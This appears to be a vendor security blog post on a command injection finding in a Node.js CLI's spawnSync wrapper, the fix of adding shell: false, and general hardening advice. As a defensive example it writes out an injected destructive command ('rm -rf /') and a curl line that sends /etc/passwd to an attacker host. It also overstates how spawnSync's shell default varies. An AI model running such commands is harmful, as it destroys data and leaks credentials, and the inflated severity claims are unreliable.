How Command Injection Happens in Node.js child_process Calls and How to Fix It
The src/cli.js file is the entry point for a Node.js CLI tool — it handles command orchestration and process spawning. But a subtle omission in the run() function created a high-severity command injection risk that Semgrep flagged at line 96. The issue: spawnSync was called without explicitly setting shell: false, leaving the door open for shell metacharacter injection if the command argument ever carries untrusted input.
This post breaks down exactly what went wrong, how an attacker could exploit it, and what the one-line fix does to close the gap.
The Vulnerability Explained
Here is the vulnerable code, exactly as it existed before the fix:
// src/cli.js — BEFORE (line 96, vulnerable)
function run(command, args, options = {}) {
const result = spawnSync(command, args, { stdio: options.stdio || 'inherit', encoding: 'utf8' });
if (result.error) throw result.error;
if (result.status !== 0 && options.check !== false) process.exit(result.status ?? 1);
return result;
}
The run() function wraps Node.js's spawnSync to execute external commands. At first glance, using spawnSync instead of execSync looks safe — and in many cases it is. The critical difference between spawnSync and execSync is that spawnSync does not invoke a shell by default. But "by default" is the operative phrase.
When shell is not explicitly set to false in the options object, the behavior depends on the Node.js version, the platform, and potentially other configuration. More importantly, omitting shell: false is an implicit trust in the default — and that trust can be violated.
How Could This Be Exploited?
Consider a scenario where a downstream consumer of this library calls run() with a command value derived from user input — for example, a filename, a tool name read from a config file, or a parameter passed through a plugin system:
// A downstream consumer of this Node.js library
const userSuppliedTool = getUserConfig('build_tool'); // e.g., "gcc; rm -rf /"
run(userSuppliedTool, ['--version']);
If shell interpretation is active (either because shell defaults to true in a future Node.js version, or because the library is used in an environment where it is enabled), a command value like gcc; rm -rf / or gcc && curl http://attacker.com/exfil?data=$(cat /etc/passwd) would be interpreted by the OS shell, executing the injected commands with the same privileges as the Node.js process.
Since this is a Node.js library (not just a standalone script), the attack surface extends to every downstream project that imports and calls run(). A library author cannot fully control how consumers will use the function or what data they will pass in.
Why This Matters for a CLI Library
The PR description correctly identifies this as a Node.js library vulnerability — meaning the impact is multiplied across all consumers. Even if the library's own CLI usage is safe today, the absence of shell: false represents an exploit primitive: a code pattern that can be chained with other weaknesses (such as an insecure config file parser or an unvalidated plugin name) to achieve remote or local command execution.
Automated exploit-development tools increasingly look for exactly these kinds of primitives — not standalone exploits, but building blocks that can be assembled into attack chains.
The Fix
The fix is a single, targeted addition to the spawnSync options object:
// src/cli.js — AFTER (line 96, fixed)
function run(command, args, options = {}) {
const result = spawnSync(command, args, { stdio: options.stdio || 'inherit', encoding: 'utf8', shell: false });
if (result.error) throw result.error;
if (result.status !== 0 && options.check !== false) process.exit(result.status ?? 1);
return result;
}
Before:
spawnSync(command, args, { stdio: options.stdio || 'inherit', encoding: 'utf8' });
After:
spawnSync(command, args, { stdio: options.stdio || 'inherit', encoding: 'utf8', shell: false });
Why shell: false Solves the Problem
Setting shell: false tells Node.js to execute the command binary directly, passing args as a proper argument array to the OS — without invoking /bin/sh (on Unix) or cmd.exe (on Windows) as an intermediary. This means:
- Shell metacharacters like
;,&&,|,$(), and backticks incommandorargsare treated as literal strings, not shell syntax. - The argument array passed as
argsis handed directly to the OSexecvesyscall, bypassing shell parsing entirely. - The behavior is now explicit and deterministic regardless of Node.js version, platform, or environment configuration.
This change is behavior-preserving for valid inputs — any legitimate command that worked before will continue to work, because valid command names and arguments do not contain shell metacharacters that would be interpreted differently. Only malicious or malformed inputs are now blocked.
Prevention & Best Practices
1. Always Explicitly Set shell: false in spawnSync / spawn
Never rely on the default. Even if shell defaults to false today, make your intent explicit:
// ✅ Safe — explicit and deterministic
spawnSync('git', ['status'], { shell: false });
// ⚠️ Risky — relies on default behavior
spawnSync('git', ['status']);
// ❌ Dangerous — shell interprets metacharacters
spawnSync('git status', [], { shell: true });
2. Avoid shell: true Unless Absolutely Necessary
If you must use shell: true, you are responsible for sanitizing every piece of input that flows into the command string. Use an allowlist approach — validate that command matches a known-good pattern before passing it to spawnSync.
const ALLOWED_COMMANDS = new Set(['git', 'npm', 'node']);
function safeRun(command, args, options = {}) {
if (!ALLOWED_COMMANDS.has(command)) {
throw new Error(`Command not allowed: ${command}`);
}
return spawnSync(command, args, { shell: false, ...options });
}
3. Treat Library Functions as Public Attack Surface
If you are writing a Node.js library, assume that any function accepting a command or file argument will eventually be called with untrusted input by a downstream consumer. Design defensively from the start.
4. Use Static Analysis in CI
The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process catches exactly this pattern. Add Semgrep to your CI pipeline to catch child_process calls with potentially user-controlled arguments before they reach production.
5. Prefer High-Level Abstractions
When possible, avoid raw child_process calls. Libraries like execa enforce safe defaults and provide better ergonomics for subprocess management in Node.js.
Security Standards Reference
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP A03:2021: Injection — command injection is a top injection category
- OWASP Command Injection Defense Cheat Sheet: Recommends avoiding shell interpretation and using parameterized APIs
Key Takeaways
spawnSyncwithoutshell: falseis an implicit trust in runtime defaults — always make the option explicit insrc/cli.js-style wrappers.- The
run()function insrc/cli.jsis a central process-spawning utility — hardening it protects every call site in the codebase at once. - Library code has a wider blast radius than application code — a vulnerable
run()helper in a published npm package exposes all downstream consumers. shell: falseis a zero-cost security improvement — it adds no overhead, breaks no valid inputs, and removes an entire class of injection risk.- Semgrep's
detect-child-processrule is a reliable signal — when it fires on acommandargument, treat it as high priority even if no immediate exploit path is obvious.
How Orbis AppSec Detected This
- Source: The
commandparameter of therun()function insrc/cli.js, which accepts externally supplied command names and can be influenced by downstream library consumers or user configuration. - Sink:
spawnSync(command, args, { ... })atsrc/cli.js:96, called withoutshell: false, where thecommandargument is passed directly to the process-spawning API. - Missing control: No explicit
shell: falseoption was set, and no allowlist validation was applied to thecommandargument before it was passed tospawnSync. - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Fix: Added
shell: falseto thespawnSyncoptions object in therun()function, ensuring direct process execution without shell interpretation.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The vulnerability in src/cli.js is a textbook example of how a single missing option can create a high-severity security risk in an otherwise well-structured codebase. The run() function's use of spawnSync without shell: false left command interpretation behavior undefined — a gap that could be exploited if the command argument ever carries attacker-influenced data, either directly or through a chain of weaknesses in a downstream consumer.
The fix is minimal, targeted, and behavior-preserving: adding shell: false to the options object explicitly locks down the execution model, removing the shell as a potential attack vector. For Node.js developers building CLI tools or libraries that spawn subprocesses, this is a pattern worth internalizing: always be explicit about shell in spawnSync and spawn calls, and treat every command argument as potentially tainted.